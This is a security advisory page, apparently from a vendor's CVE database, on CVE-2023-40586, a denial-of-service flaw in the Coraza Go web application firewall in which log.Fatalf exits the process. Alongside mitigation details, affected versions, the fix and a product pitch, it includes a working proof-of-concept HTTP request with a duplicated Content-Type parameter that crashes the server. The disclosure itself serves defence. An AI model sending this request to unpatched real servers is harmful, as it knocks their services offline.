Summary
Coraza has potential denial of service vulnerability
Due to the misuse of log.Fatalf, the application using coraza crashed after receiving crafted requests from attackers.
Details
https://github.com/corazawaf/coraza/blob/82157f85f24c6107667bf0f686b71a72aafdf8a5/internal/bodyprocessors/multipart.go#L26-L29
The bodyprocessors of multipart uses log.Fatalf to handle errors from the mime.ParseMediaType, but log.Fatalf calls os.Exit directly after logging the error.
https://github.com/golang/go/blob/a031f4ef83edc132d5f49382bfef491161de2476/src/log/log.go#L288-L291
This means that the application will immediately crash after receiving a malicious request that triggers an error in mime.ParseMediaType.
PoC
The server can be demonstrated by https://github.com/corazawaf/coraza/tree/main/examples/http-server
After sending this request
POST / HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: curl/8.1.2
Accept: */*
Content-Length: 199
Content-Type: multipart/form-data; boundary=------------------------5fa6351b877326a1; a=1; a=2
Connection: close
--------------------------5fa6351b877326a1
Content-Disposition: form-data; name="file"; filename="123"
Content-Type: application/octet-stream
123
--------------------------5fa6351b877326a1--
The server will crash immediately. The a=1; a=2 in Content-Type makes mime: duplicate parameter name error.
Mitigation
The error from mime.ParseMediaType should return directly.
Impact
I believe the vulnerability was introduced by the following commit: https://github.com/corazawaf/coraza/commit/24af0c8cf4f10bab558740b595712be3b85493ec.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2023-40586 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.0.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2023-40586? CVE-2023-40586 is a high-severity uncontrolled resource consumption vulnerability in github.com/corazawaf/coraza/v3 (go), affecting versions >= 3.0.0, < 3.0.1. It is fixed in 3.0.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2023-40586? CVE-2023-40586 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which packages are affected by CVE-2023-40586?
github.com/corazawaf/coraza/v3(go) (versions >= 3.0.0, < 3.0.1)github.com/corazawaf/coraza/v2(go) (versions >= 2.0.0, <= 2.0.1)
- Is there a fix for CVE-2023-40586? Yes. CVE-2023-40586 is fixed in 3.0.1. Upgrade to this version or later.
- Is CVE-2023-40586 exploitable, and should I be worried? Whether CVE-2023-40586 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-40586 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-40586? Upgrade
github.com/corazawaf/coraza/v3to 3.0.1 or later.